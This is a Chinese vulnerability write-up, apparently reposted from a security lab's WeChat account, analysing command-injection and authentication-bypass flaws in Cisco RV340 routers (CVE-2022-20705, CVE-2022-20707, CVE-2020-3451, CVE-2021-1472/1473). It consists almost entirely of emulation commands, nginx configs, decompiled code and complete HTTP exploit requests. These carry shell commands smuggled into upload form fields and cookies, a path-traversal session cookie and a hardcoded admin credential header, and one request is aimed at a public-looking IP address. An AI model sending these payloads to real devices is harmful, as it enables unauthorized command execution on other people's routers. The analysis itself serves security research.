01
引言
02
环境搭建
2.1 固件下载
2.2 固件解压
2.3 qemu系统模拟
https://blog.csdn.net/QQ1084283172/article/details/69378333
重启一下虚拟机,因为我Ubuntu 主机的网卡是nat的,桥接就是桥接到nat网络里边去。
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=tty0" -net nic -net tap -nographic
scp -r 1.tar root@192.168.250.173:/root/
tar zxvf 1.tar
chmod -R 777 rootfs
cd rootfs
sudo mount --bind /proc proc
sudo mount --bind /dev dev
chroot . /bin/sh
/etc/init.d/boot boot
generate_default_cert
/etc/init.d/confd start
/etc/init.d/nginx start
2.4 调试技巧
03
CVE-2022-20705
location / form - file - upload {
include uwsgi_params;
proxy_buffering off;
uwsgi_modifier1 9;
uwsgi_pass 127.0.0.1 : 9003;
uwsgi_read_timeout 3600;
uwsgi_send_timeout 3600;
}
location / upload {set $deny 1;
if ( - f / tmp / websession / token / $cookie_sessionid) {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
upload_pass / form - file - upload;
upload_store / tmp / upload;
upload_store_access user: rw group: rw all: rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5""$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size""$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500 - 505;
upload_resumable on;
else if ( !strcmp(v5, "/upload")
&& HTTP_COOKIE
&& strlen(HTTP_COOKIE) - 16 <= 0x40
&& !match_regex("^[A-Za-z0-9+=/]*$", HTTP_COOKIE) )
{
v24 = v34;
v25 = v35;
v26 = (int)v32;
v27 = StrBufToStr(v41);
sub_12684(HTTP_COOKIE, v24, v25, v26, v27, v36, v37, v38);
}
if ( HTTP_COOKIE )
{
StrBufSetStr(v40, HTTP_COOKIE);
HTTP_COOKIE = 0;
v13 = (char *)StrBufToStr(v40);
for ( i = strtok_r(v13, ";", &save_ptr); i; i = strtok_r(0, ";", &save_ptr) )
{
sessionid = strstr(i, "sessionid=");
if ( sessionid )
HTTP_COOKIE = sessionid + 'n';
}
}
}
Cookie: sessionid=../../../etc/passwd;sessionid=Y2lzY28vMTI3LjAuMC4xLzEx;
04
CVE-2022-20707
jsonutil_get_string(dword_2324C, &v31, ""file.path"", -1);
jsonutil_get_string(dword_2324C, &haystack, ""filename"", -1);
jsonutil_get_string(dword_2324C, &v32, ""pathparam"", -1);
jsonutil_get_string(dword_2324C, &v33, ""fileparam"", -1);
jsonutil_get_string(dword_2324C, &v34, ""destination"", -1);
jsonutil_get_string(dword_2324C, &v35, ""option"", -1);
jsonutil_get_string(dword_2324C, &v36, ""cert_name"", -1);
jsonutil_get_string(dword_2324C, &v37, ""cert_type"", -1);
jsonutil_get_string(dword_2324C, &v38, ""password"", -1);
POST /upload HTTP/1.1
Host: 192.168.250.173
Content-Length: 729
Accept: application/json, text/plain, */*
optional-header: header-value
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz6gIo5kcTkAlkCwX
Origin: http://192.168.250.173
Referer: http://192.168.250.173/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: sessionid=../../../etc/passwd;sessionid=Y2lzY28vMTI3LjAuMC4xLzEx;
Connection: close
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="sessionid"
EU6DJKEIWO
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="pathparam"
Firmware
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="fileparam"
file001
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="destination"
x';ls>/tmp/download/1.xml;'
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="option"
x
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="file"; filename="1.img"
Content-Type: application/octet-stream
1111
------WebKitFormBoundaryz6gIo5kcTkAlkCwX--
05
CVE-2020-3451
POST /upload HTTP/1.1
Connection: close
Accept-Encoding: gzip, deflate
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Host: 186.86.126.88:443
Content-Type: multipart/form-data; boundary=---------------------------42194771962641085195329489787
Content-Length: 614
-----------------------------42194771962641085195329489787
Content-Disposition: form-data; name="sessionid"
FOOT
-----------------------------42194771962641085195329489787
Content-Disposition: form-data; name="fileparam"
file001;ls>/www/download/3.xml;
-----------------------------42194771962641085195329489787
Content-Disposition: form-data; name="pathparam"
Firmware
-----------------------------42194771962641085195329489787
Content-Disposition: form-data; name="file"; filename="1233.img"
Content-Type: application/octet-stream
111111111111111
-----------------------------42194771962641085195329489787--
06
CVE-2021-1473 & CVE-2021-1472
location /form-file-upload {
include uwsgi_params;
proxy_buffering off;
uwsgi_modifier1 9;
uwsgi_pass 127.0.0.1:9003;
uwsgi_read_timeout 3600;
uwsgi_send_timeout 3600;
}
location /upload {
set $deny 1;
if ($http_authorization != "") {
set $deny "0";
}
if (-f /tmp/websession/token/$cookie_sessionid) {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}
POST /upload HTTP/1.1
Connection: close
Accept-Encoding: gzip, deflate
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Host: 186.86.126.88:443
Cookie: sessionid='&ls>/tmp/download/2.xml&';
Authorization: YWRtaW46YWRtaW4=
Content-Length: 570
Content-Type: multipart/form-data; boundary=5097417339e2369be225700925a71758
--5097417339e2369be225700925a71758
Content-Disposition: form-data; name="sessionid"
foobar
--5097417339e2369be225700925a71758
Content-Disposition: form-data; name="destination"
x
--5097417339e2369be225700925a71758
Content-Disposition: form-data; name="fileparam"
Configuration
--5097417339e2369be225700925a71758
Content-Disposition: form-data; name="pathparam"
Configuration
--5097417339e2369be225700925a71758
Content-Disposition: form-data; name="file"; filename="1233.xml"
Content-Type: text/xml
1233333
--5097417339e2369be225700925a71758--
07
总结
原文始发于微信公众号(Beacon Tower Lab):Cisco RV340命令执行漏洞(CVE-2022-20707)及关联历史漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论